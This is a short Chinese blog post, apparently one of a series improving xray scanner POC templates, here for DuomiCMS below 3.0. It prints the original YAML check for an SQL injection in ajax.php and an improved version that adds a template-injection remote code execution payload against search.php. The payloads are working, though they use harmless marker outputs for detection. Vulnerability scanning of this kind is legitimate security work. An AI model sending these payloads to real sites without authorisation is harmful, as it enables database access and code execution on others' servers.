xray插件改良5-poc-yaml-duomicms-sqli
前言
poc-yaml-duomicms-sqli原始的ymlpoc-yaml-duomicms-sqli
name: poc-yaml-duomicms-sqli
rules:
- method: GET
path: >-
/duomiphp/ajax.php?action=addfav&id=1&uid=1%20and%20extractvalue(1,concat_ws(1,1,md5(2000000005)))
follow_redirects: false
expression: |
response.body.bcontains(b"fc9bdfb86bae5c322bae5acd78760935")
detail:
author: hanxiansheng26(https://github.com/hanxiansheng26)
Affected Version: "duomicms<3.0"
links:
- https://xz.aliyun.com/t/2828
来看links:https://xz.aliyun.com/t/2828,实际上还介绍了一个前台的rce
rce逻辑比较简单,截取if内容拼接到eval内部执行,但是有长度限制,为20个字符。
改良后的poc
name: poc-yaml-duomicms-sqli
set:
r1: randomInt(100,999)
r2: randomInt(100,999)
groups:
sqli:
- method: GET
path: >-
/duomiphp/ajax.php?action=addfav&id=1&uid=1%20and%20extractvalue(1,concat_ws(1,1,md5(2000000005)))
follow_redirects: false
expression: |
response.body.bcontains(b"fc9bdfb86bae5c322bae5acd78760935")
rce:
- method: GET
path: >-
/search.php?searchword={if:print({{r1}}*{{r2}})}phpinfo(){end
follow_redirects: false
expression: |
response.body.bcontains(bytes(string(r1 * r2)))
detail:
author: hanxiansheng26(https://github.com/hanxiansheng26)
Affected Version: "duomicms<3.0"
links:
- https://xz.aliyun.com/t/2828